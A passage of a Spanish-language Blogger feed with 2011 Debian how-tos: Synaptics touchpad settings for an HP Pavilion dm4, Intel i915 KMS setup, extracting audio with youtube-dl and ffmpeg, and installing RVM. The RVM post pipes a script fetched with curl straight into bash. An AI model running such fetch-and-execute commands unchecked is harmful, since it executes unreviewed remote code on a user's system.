"0"&lt;br /&gt;        # Circular&lt;br /&gt;        Option      "CircularScrolling" "0"&lt;br /&gt;        Option      "CircScrollDelta" "0.1"&lt;br /&gt;        Option      "CircScrollTrigger" "0"&lt;br /&gt;        Option      "CircularPad" "0"&lt;br /&gt;        # Palm&lt;br /&gt;        Option      "PalmDetect" "1"&lt;br /&gt;        Option      "PalmMinWidth" "10"&lt;br /&gt;        Option      "PalmMinZ" "199"&lt;br /&gt;        Option      "CoastingSpeed" "0"&lt;br /&gt;        # Grab&lt;br /&gt;        Option      "GrabEventDevice" "1"&lt;br /&gt;        Option      "TapAndDragGesture" "1"&lt;br /&gt;        # Area&lt;br /&gt;        Option      "AreaLeftEdge" "0"&lt;br /&gt;        Option      "AreaRightEdge" "0"&lt;br /&gt;        Option      "AreaTopEdge" "0"&lt;br /&gt;        Option      "AreaBottomEdge" "3500"&lt;br /&gt;EndSection&lt;br /&gt;&lt;br /&gt;Section "InputClass"&lt;br /&gt;    Identifier  "Ignore mouse devs"&lt;br /&gt;    MatchDevicePath "/dev/input/mouse*"&lt;br /&gt;    Driver      "synaptics"&lt;br /&gt;    Option      "Ignore" "on"&lt;br /&gt;EndSection&lt;br /&gt;&lt;/pre&gt;&lt;/code&gt;&lt;br/&gt;No explicaré en detalle cada una de las opciones (para eso está el manual de synaptics), solo explicaré las más relevantes o las "problemáticas".Lo primero es ignorar las pulsaciones en el área de los botones. Para eso definimos el rango de acción del dispositivo (límites):&lt;code&gt;&lt;pre&gt;&lt;br /&gt;        # Edges&lt;br /&gt;        Option      "LeftEdge" "1500"&lt;br /&gt;        Option      "RightEdge" "5200"&lt;br /&gt;        Option      "TopEdge" "1350"&lt;br /&gt;        Option      "BottomEdge" "3500"&lt;br /&gt;&lt;br /&gt;        # Area&lt;br /&gt;        Option      "AreaLeftEdge" "0"&lt;br /&gt;        Option      "AreaRightEdge" "0"&lt;br /&gt;        Option      "AreaTopEdge" "0"&lt;br /&gt;        Option      "AreaBottomEdge" "3500"&lt;br /&gt;&lt;/pre&gt;&lt;/code&gt;&lt;br/&gt;Colocando el límite inferior (BottomEdge y AreaBottomEdge) en 3500 evitamos que el cursor se mueva al pasar sobre el área de botones. Estableciendo el límite derecho (RightEdge) a 5200 evitamos que el cursor se mueva en la columna derecha (para habilitar la zona de scrolling vertical). La imagen a continuación ilustra estos ajustes:&lt;br/&gt;&lt;br/&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-r9UTU3Ok8Wk/TqshHvbwbqI/AAAAAAAAAfs/BKN0gEvDY0U/s1600/touchpad-grid.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="240" width="320" src="http://4.bp.blogspot.com/-r9UTU3Ok8Wk/TqshHvbwbqI/AAAAAAAAAfs/BKN0gEvDY0U/s320/touchpad-grid.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br/&gt;&lt;br/&gt;El dispositivo solo tiene un botón y a simple vista no encontré la forma de configurarlo para que funcione como ambos. Estuve &lt;a href="http://vejeta.com/portal/Members/zoperman/chuletas/gnu/soporte-para-los-clickpad-en-hp-pavillion-dv7-4160es"&gt;compilando el driver synaptics&lt;/a&gt; con un &lt;a href="http://www.spinics.net/lists/linux-input/msg08198.html"&gt;patch para agregar el soporte de clickpads&lt;/a&gt; pero no he logrado generar el .ko, así que simplemente dejé su funcionamiento por defecto (left click) y configuré el click izquierdo con tap, el doble click con doble tap y el click derecho con tap de dos dedos. &lt;br/&gt;&lt;br/&gt;Eso podemos verlo en:&lt;code&gt;&lt;pre&gt;&lt;br /&gt;        # Tap&lt;br /&gt;        Option      "TapButton1" "1"&lt;br /&gt;        Option      "TapButton2" "3"&lt;br /&gt;        Option      "TapButton3" "2"&lt;br /&gt;&lt;/pre&gt;&lt;/code&gt;&lt;br/&gt;El botón para activar/desactivar el clickpad tampoco pude hacerlo funcionar pero creo que es cuestión de seguir trasteando hasta lograr una solución. Además de eso, el resto de la configuración es el ajuste de valores para la sensibilidad, aceleración y velocidad del puntero, pero eso lo dejo como tarea para el lector.&lt;br/&gt;&lt;br/&gt;&lt;h2&gt;Tarea para la casa&lt;/h2&gt;Una de las herramientas más importantes para lograr una efectiva configuración es &lt;b&gt;synclient&lt;/b&gt;. Gracias a esta herramienta pude determinar las coordenadas que definen los límites de mi dispositivo (que en las imágenes de arriba están marcados con azul y rojo) y verificar los valores de configuración &lt;br/&gt;&lt;br/&gt;Usando el siguiente comando podemos verificar la actividad del touchpad en vivo:&lt;code&gt;&lt;pre&gt;$ synclient -m 10&lt;/pre&gt;&lt;/code&gt;&lt;br/&gt;La salida debería ser algo como:&lt;code&gt;&lt;pre&gt;   time     x    y   z f  w  l r u d m     multi  gl gm gr gdx gdy&lt;br /&gt; 874.169  5392 4317   3 0  0  0 0 0 0 0  00000000&lt;br /&gt; 874.269  5392 4317   0 0  0  0 0 0 0 0  00000000&lt;br /&gt; 874.670  5392 4317   1 0  0  0 0 0 0 0  00000000&lt;br /&gt; 874.770  5392 4317   7 0  0  0 0 0 0 0  00000000&lt;br /&gt; 874.870  4143 1708   9 1 11  0 0 0 0 0  00000000&lt;br /&gt; 874.970  4225 1811   3 0  0  0 0 0 0 0  00000000&lt;br /&gt; 875.070  4225 1811   2 0  0  0 0 0 0 0  00000000&lt;/pre&gt;&lt;/code&gt;&lt;br/&gt;Donde:&lt;ul&gt;&lt;li&gt;&lt;b&gt;x, y&lt;/b&gt;: definen las coordenadas de la pulsación&lt;/li&gt;&lt;li&gt;&lt;b&gt;z&lt;/b&gt;: la presión aplicada&lt;/li&gt;&lt;li&gt;&lt;b&gt;f&lt;/b&gt;: el número de dedos tocando la superficie&lt;/li&gt;&lt;li&gt;&lt;b&gt;w&lt;/b&gt;: es una medida del ancho del dedo&lt;/li&gt;&lt;li&gt;&lt;b&gt;l,r,m&lt;/b&gt;: el estado de los botones left, right y middle&lt;/li&gt;&lt;/ul&gt;&lt;br/&gt;Para más información:&lt;code&gt;&lt;pre&gt;$ man synclient&lt;/pre&gt;&lt;/code&gt;&lt;br/&gt;Espero que con esta guía puedas configurar tu ClickPad y usarlo decentemente. Me queda pendiente por investigar la función de deshabilitar el touchpad mientras se escribe, los botones left-right y el botón para activar. Cuando lo logré postearé nuevamente :)&lt;br/&gt;&lt;br/&gt;Fuentes: &lt;br/&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://wiki.debian.org/SynapticsTouchpad"&gt;http://wiki.debian.org/SynapticsTouchpad&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://wiki.archlinux.org/index.php/Touchpad_Synaptics"&gt;https://wiki.archlinux.org/index.php/Touchpad_Synaptics&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://sansmicrosoft.blogspot.com/2010/10/pavilion-dm4-1160-touchpad-erratic-bis.html"&gt;http://sansmicrosoft.blogspot.com/2010/10/pavilion-dm4-1160-touchpad-erratic-bis.html&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://bugs.archlinux.org/task/20830"&gt;https://bugs.archlinux.org/task/20830&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://who-t.blogspot.com/2010/11/how-to-ignore-configuration-errors.html"&gt;http://who-t.blogspot.com/2010/11/how-to-ignore-configuration-errors.html&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://askubuntu.com/questions/15208/touchpad-issues-on-hp-pavilion-dm4-cant-right-click"&gt;http://askubuntu.com/questions/15208/touchpad-issues-on-hp-pavilion-dm4-cant-right-click&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-7319768467489278167?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/7319768467489278167/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=7319768467489278167&amp;isPopup=true' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/7319768467489278167'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/7319768467489278167'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2011/10/configurar-el-touchpad-synaptics-de-una.html' title='Configurar el Touchpad Synaptics de una HP Pavilion dm4 en Debian'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-JVY7vsd-wd0/TqsNC3o8lyI/AAAAAAAAAfg/QoE3jTEQQg4/s72-c/touchpad.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-6506690758820122373</id><published>2011-10-28T12:23:00.000-07:00</published><updated>2011-10-28T12:23:54.185-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Video'/><category scheme='http://www.blogger.com/atom/ns#' term='Consola'/><category scheme='http://www.blogger.com/atom/ns#' term='Configuraciones'/><category scheme='http://www.blogger.com/atom/ns#' term='Escritorios'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>Configurar video Intel i915 + KMS en Debian Wheezy</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Es esta receta explicaré como configurar y activar el &lt;a href="http://en.wikipedia.org/wiki/Mode-setting"&gt;KMS&lt;/a&gt; (Kernel Mode Setting) con el driver Intel i915 en una &lt;b&gt;HP Pavilion dm4&lt;/b&gt; . Las instrucciones están hechas para &lt;b&gt;Debian Wheezy&lt;/b&gt; (testing a la fecha) y requiere de un &lt;b&gt;kernel &gt;= 2.6.29&lt;/b&gt;.&lt;br/&gt;&lt;br/&gt;&lt;h2&gt;Instalar dependencias&lt;/h2&gt;Suponiendo que tenemos Xorg instalado y corriendo (quizás funcionando con el driver vesa) procedemos instalar el driver intel y sus dependencias:&lt;br/&gt;&lt;code&gt;&lt;pre&gt;# aptitude install libgl1-mesa-glx libglu1-mesa xserver-xorg-video-intel mesa-utils&lt;/pre&gt;&lt;/code&gt;&lt;br/&gt;&lt;h2&gt;Activar el KMS&lt;/h2&gt;Luego vamos al archivo &lt;b&gt;/etc/modprobe.d/i915-kms.conf&lt;/b&gt; y agregamos la línea: &lt;code&gt;&lt;pre&gt;options i915 modeset=1&lt;/pre&gt;&lt;/code&gt;&lt;br/&gt;Regeneramos la imagen del kernel con:&lt;code&gt;&lt;pre&gt;# update-initramfs -u&lt;/pre&gt;&lt;/code&gt;&lt;br/&gt;Editamos el archivo &lt;b&gt;/etc/default/grub&lt;/b&gt; y modificamos esta línea:&lt;code&gt;&lt;pre&gt;GRUB_CMDLINE_LINUX_DEFAULT="quiet i915.modeset=1 video=LVDS-1:e"&lt;/pre&gt;&lt;/code&gt;&lt;br/&gt;El parámetro &lt;b&gt;i915.modeset=1&lt;/b&gt; habilita el KMS al momento del booteo y para que la pantalla no se quede en negro luego de cargar el módulo, debemos agregar el parámetro &lt;b&gt;video=LVDS-1:e&lt;/b&gt;.&lt;br/&gt;&lt;br/&gt;Es importante no cargar ningún otro driver para framebuffer que no sea el de Intel y eliminar de los parámetros de booteo cualquier opción del tipo &lt;b&gt;vga=xxx&lt;/b&gt; o &lt;b&gt;video=xxx&lt;/b&gt;.&lt;br/&gt;&lt;br/&gt; El parámetro &lt;b&gt;video=LVDS-1:e&lt;/b&gt; tiene una razón de ser muy particular. El BIOS de esta máquina tiene un bug; cuando inicia, indica erróneamente que la tapa de la laptop está cerrada. El kernel, basándose en esa información, manda a apagar la pantalla y por eso todo se queda en negro, no es que se congela ni que deja de funcionar. Pueden corroborar esto cerrando y abriendo la tapa de la laptop cuando se apaga. Verán que el video vuelve mágicamente y que el equipo no se había detenido, seguía funcionando pero a ciegas.&lt;br/&gt;&lt;br/&gt;Es bien conocido que el kernel no usa el BIOS para casi ninguna de sus tareas, sin embargo a partir del kernel 2.6.32 los desarrolladores decidieron "escuchar" al BIOS en este tipo de eventos, así que hasta que no se masifique el patch que corrige la situación debemos aplicar este correctivo.&lt;br/&gt;&lt;br/&gt;Si desean más información pueden revisar el reporte y la &lt;a href="https://bugs.launchpad.net/ubuntu/+source/linux/+bug/515246"&gt;resolución del bug en Launchpad&lt;/a&gt; o el &lt;a href="http://lists.freedesktop.org/archives/intel-gfx/2010-March/006240.html"&gt;reporte del error en fredesktop.org&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;Luego de ese paréntesis técnico continuamos con nuestra configuración. Reconfiguramos el grub para que se apliquen los cambios anteriores:&lt;br/&gt;&lt;code&gt;&lt;pre&gt;# update-grub&lt;/pre&gt;&lt;/code&gt;&lt;br/&gt;&lt;h2&gt;Configuración de Xorg&lt;/h2&gt;Lo siguiente es crear y personalizar el archivo de configuración de Xorg. &lt;br/&gt;&lt;br/&gt;A partir de la versión 1.8, Xorg ya no necesita archivos de configuración. En lugar de eso intenta detectar y configurar todo el hardware (video y dispositivos de entrada) por si mismo. Sin embargo existen casos especiales que requieren algunos "ajustes". Este es uno de esos casos.&lt;br/&gt;&lt;br/&gt;Procedemos entonces a detener el servidor X. Si tenemos un entorno de escritorio basta con detener el gestor de sesión (gdm, kdm, slim, xdm, etc), sino matamos las X.&lt;br/&gt;&lt;br/&gt;Hecho esto pasamos a ejecutar:&lt;code&gt;&lt;pre&gt;# Xorg -configure&lt;/pre&gt;&lt;/code&gt;&lt;br/&gt;Eso debería generarnos un archivo &lt;b&gt;xorg.conf.new&lt;/b&gt; que servirá como base. A ese archivo le editamos la sección "&lt;b&gt;Device&lt;/b&gt;" para que nos quede algo como:&lt;code&gt;&lt;pre&gt;Section "Device"&lt;br /&gt;        Option      "DRI"                       "True"&lt;br /&gt;        Option      "Tiling"                    "True"&lt;br /&gt;        Option      "XAANoOffscreenPixmaps"     "True"&lt;br /&gt;        Identifier  "Card0"&lt;br /&gt;        Driver      "intel"&lt;br /&gt;        BusID       "PCI:0:2:0"&lt;br /&gt;EndSection&lt;/pre&gt;&lt;/code&gt;&lt;br/&gt;Y agregamos al final del archivo la siguiente sección:&lt;code&gt;&lt;pre&gt;Section "Extensions"&lt;br /&gt;        Option          "Composite" "enable"&lt;br /&gt;EndSection&lt;/pre&gt;&lt;/code&gt;&lt;br/&gt;Observen que indicamos el driver de video y algunas opciones para mejorar el desempeño gráfico. Si conocen otras opciones (que apliquen para tarjetas Intel) también pueden agregarlas acá.&lt;br/&gt;&lt;br/&gt;Con esto terminamos nuestra configuración del servidor X.&lt;br/&gt;&lt;br/&gt;&lt;h2&gt;Reiniciar&lt;/h2&gt;Reiniciamos y ya deberíamos disfrutar de nuestro video usando KMS. Verán que la transición entre modos de video es casi instantánea y el parpadeo se redujo considerablemente. Además de que compiz y todas esas yerbas aromáticas se ven con una suavidad asombrosa.&lt;br/&gt;&lt;br/&gt;&lt;h2&gt;Deshabilitar el KMS&lt;/h2&gt;Si desean deshabilitar el KMS basta con desactivar el modeset en la línea:&lt;code&gt;&lt;pre&gt;GRUB_CMDLINE_LINUX_DEFAULT="quiet i915.modeset=0 video=LVDS-1:e"&lt;/pre&gt;&lt;/code&gt;&lt;br/&gt;Reconfiguramos el grub:&lt;code&gt;&lt;pre&gt;# update-grub&lt;/pre&gt;&lt;/code&gt;&lt;br/&gt;Y KMS desactivado.&lt;br/&gt;&lt;br/&gt;Espero que esta receta les haya servido de ayuda. En un próximo post explicaré cómo configurar el Touchpad Synaptics.&lt;br/&gt;&lt;br/&gt;Fuentes:&lt;br&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://wiki.debian.org/KernelModesetting"&gt;http://wiki.debian.org/KernelModesetting&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://wiki.archlinux.org/index.php/Intel"&gt;https://wiki.archlinux.org/index.php/Intel&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://en.gentoo-wiki.com/wiki/Intel_GMA"&gt;http://en.gentoo-wiki.com/wiki/Intel_GMA&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-6506690758820122373?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/6506690758820122373/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=6506690758820122373&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/6506690758820122373'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/6506690758820122373'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2011/10/configurar-video-intel-i915-kms-en.html' title='Configurar video Intel i915 + KMS en Debian Wheezy'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-4644986082447913905</id><published>2011-09-17T18:12:00.000-07:00</published><updated>2011-10-29T20:57:03.765-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Consola'/><category scheme='http://www.blogger.com/atom/ns#' term='Tips'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>Obtener audio de un video de Youtube</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;¿No les ha pasado que a veces encuentran en Youtube videos que son unas verdaderas joyas musicales y les gustaría tenerlos en su colección musical? Bueno con este truco es muy fácil hacerlo.&lt;br/&gt;&lt;br/&gt;Primero instalamos el Youtube Downloader. Desde Debian sería:&lt;br/&gt;&lt;code&gt;# aptitude install youtube-dl&lt;/code&gt;&lt;br/&gt;Instalamos el ffmpeg (en caso de no tenerlo):&lt;br/&gt;&lt;code&gt;# aptitude install ffmpeg&lt;/code&gt;&lt;br/&gt;Luego descargamosel video desde Youtube y extraemos el audio:&lt;br/&gt;&lt;code&gt;$ youtube-dl &lt;url_del_video&gt; --extract-audio&lt;/code&gt;&lt;br/&gt;Eso nos generará un archivo .aac, ahora procedemos a convertirlo a mp3 (o al formato de nuestra preferencia):&lt;br/&gt;&lt;code&gt;$ ffmpeg -i &lt;nombre_del_archivo&gt;.aac -ar 22050 -ab 32 &lt;nombre_del_archivo&gt;.mp3&lt;/code&gt;&lt;br/&gt;Y ya podremos disfrutar de la pieza de audio en nuestro reproductor favorito a partir del video de Youtube&lt;br/&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-4644986082447913905?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/4644986082447913905/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=4644986082447913905&amp;isPopup=true' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/4644986082447913905'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/4644986082447913905'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2011/09/obtener-audio-de-un-video-de-youtube.html' title='Obtener audio de un video de Youtube'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-3709024637007618841</id><published>2011-05-28T09:32:00.000-07:00</published><updated>2011-05-28T09:32:54.372-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ruby'/><category scheme='http://www.blogger.com/atom/ns#' term='Instalaciones'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>Instalar RVM en Debian Wheezy</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a href="https://rvm.beginrescueend.com/"&gt;RVM&lt;/a&gt; (Ruby Version Manager) es una fantástica herramienta que te permite gestionar muchas versiones de Ruby (y de sus gemas) en un mismo equipo. Las gemas se manejan mediante contenedores (gemsets), allí puedes instalar lo que desees sin afectar el resto de los componentes. Es un principio muy parecido al de las máquinas virtuales.&lt;br /&gt;&lt;br /&gt;La receta es para Debian pero se puede aplicar para cualquier distro, solo hay que tener en cuenta  los nombres de los paquetes a instalar.&lt;br /&gt;&lt;br /&gt;Comencemos entonces con las dependencias. Necesitamos git, las herramientas básicas para compilar, los fuentes del readline y del ssl:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;# aptitude install libreadline5-dev git curl build-essential libssl-dev&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Luego, como usuario ejecutamos el siguiente script:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ bash &lt; &lt;(curl -s https://rvm.beginrescueend.com/install/rvm)&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Ese script descarga rvm de git, lo compila y lo instala. Antes de usarlo debemos agregar una línea a nuestro .bash_profile, para eso ejecutamos:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ echo '[[ -s "$HOME/.rvm/scripts/rvm" ]] &amp;&amp; . "$HOME/.rvm/scripts/rvm" # Load RVM function' &gt;&gt; ~/.bash_profile&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Hacemos un:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ source ~/.bash_profile&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Y verificamos que todo haya salido bien:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ type rvm | head -1&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;El resultado de ese comando debería ser: &lt;b&gt;rvm es una función&lt;/b&gt;. Si no obtenemos ese resultado algo ha ido mal. Les recomiendo entonces revisar la &lt;a href="https://rvm.beginrescueend.com/rvm/install/"&gt;documentación de instalación&lt;/a&gt; o la &lt;a href="https://rvm.beginrescueend.com/support/troubleshooting/"&gt;página de problemas solucionados&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Ahora podemos ejecutar rvm como un comando más de consola. Instalemos un par de paquetes que nos harán falta antes de instalar una versión de Ruby:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ rvm package install openssl&lt;br /&gt;$ rvm package install readline&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Instalamos una versión de Ruby (por ejemplo: 1.8.7):&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ rvm install 1.8.7&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Y configuramos la versión que deseamos usar por defecto en el sistema:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ rvm use 1.8.7 --default&lt;br /&gt;Using /home/tu_usuario/.rvm/gems/ruby-1.8.7-p334&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Ahora podemos crear gemsets a placer, por ejemplo:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ rvm gemset create pruebas1&lt;br /&gt;'pruebas1' gemset created (/home/tu_usuario/.rvm/gems/ruby-1.8.7-p334@pruebas1).&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Notese que el &lt;b&gt;@&lt;/b&gt; en el mensaje anterior nos indica que el gemset ha sido asociado a la versión 1.8.7 de Ruby que habíamos instalado (y seleccionado para usar) previamente. Ahora instalemos otro gemset de pruebas para entender la magia del asunto.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ rvm gemset create pruebas2&lt;br /&gt;'pruebas2' gemset created (/home/tu_usuario/.rvm/gems/ruby-1.8.7-p334@pruebas2).&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Podemos movernos a través de los gemsets usando el comando &lt;b&gt;use&lt;/b&gt; con la siguiente forma:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ rvm use 1.8.7@pruebas1&lt;br /&gt;Using /home/tu_usuario/.rvm/gems/ruby-1.8.7-p334 with gemset pruebas1&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Ahora probemos instalar una gema en el contenedor 'pruebas1':&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ gem install xml-simple --no-rdoc --no-ri&lt;br /&gt;Fetching: xml-simple-1.0.15.gem (100%)&lt;br /&gt;Successfully installed xml-simple-1.0.15&lt;br /&gt;1 gem installed&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Particularmente uso los argumentos &lt;b&gt;--no-rdoc --no-ri&lt;/b&gt; para evitar la instalación de la documentación y otros archivos adicionales que no utilizo y demoran considerablemente la puesta a punto de la gema.&lt;br /&gt;&lt;br /&gt;Veamos entonces qué tenemos ahora en 'pruebas1':&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ gem list --local&lt;br /&gt;&lt;br /&gt;*** LOCAL GEMS ***&lt;br /&gt;&lt;br /&gt;rake (0.8.7)&lt;br /&gt;xml-simple (1.0.15)&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Una nueva gema instalada en nuestro gemset. Y en 'pruebas2' ¿qué tenemos?:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ rvm use 1.8.7@pruebas2&lt;br /&gt;Using /home/tu_usuario/.rvm/gems/ruby-1.8.7-p334 with gemset pruebas2&lt;br /&gt;&lt;br /&gt;$ gem list --local&lt;br /&gt;&lt;br /&gt;*** LOCAL GEMS ***&lt;br /&gt;&lt;br /&gt;rake (0.8.7)&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;¡Oh! No tenemos nada instalado. Eso quiere decir que nuestros contenedores están aislados uno del otro y que podemos instalar cosas que cada uno de ellos sin temor a romper algo en el otro (siempre teniendo cuidado del gemset que está en uso).&lt;br /&gt;&lt;br /&gt;Si en algún momento dañamos un gemset basta con ejecutar:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ rvm gemset delete pruebas1&lt;br /&gt;WARN: Are you SURE you wish to remove the entire gemset directory 'pruebas1' (/home/tu_usuario/.rvm/gems/ruby-1.8.7-p334@pruebas1)?&lt;br /&gt;(anything other than 'yes' will cancel) &gt; &lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Respondemos &lt;b&gt;yes&lt;/b&gt; y listo, desaparece el gemset con todo lo que tenía adentro.&lt;br /&gt;&lt;br /&gt;Muy bonito todo, pero se preguntarán ¿Cómo le digo a un determinado proyecto que use un gemset específico? ¿O es que debo especificarle manualmente que gemset utilizará cada vez que vaya a ejecutarlo?&lt;br /&gt;&lt;br /&gt;Pues la respuesta es muy simple, basta con crear un archivo &lt;b&gt;.rvmrc&lt;/b&gt; en la raíz del proyecto con algo parecido a esto:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;rvm use 1.8.7@pruebas2&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Y desde ese momento, todo lo que está dentro de esa carpeta usará la versión del Ruby y el gemset especificado en el archivo.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;NOTA: Es importante aclarar que Ruby, RubyGems, las gemas o cualquier otras cosa relacionada NO debe instalarse usando la paquetería de la distribución. TODO debe manejarse a través RVM, de lo contrario corromperemos toda la instalación.&lt;br /&gt;&lt;br /&gt;Espero que esta receta les sea de utilidad, a mi me ha cambiado la vida xD&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-3709024637007618841?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/3709024637007618841/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=3709024637007618841&amp;isPopup=true' title='6 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/3709024637007618841'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/3709024637007618841'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2011/05/instalar-rvm-en-debian-wheezy.html' title='Instalar RVM en Debian Wheezy'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' 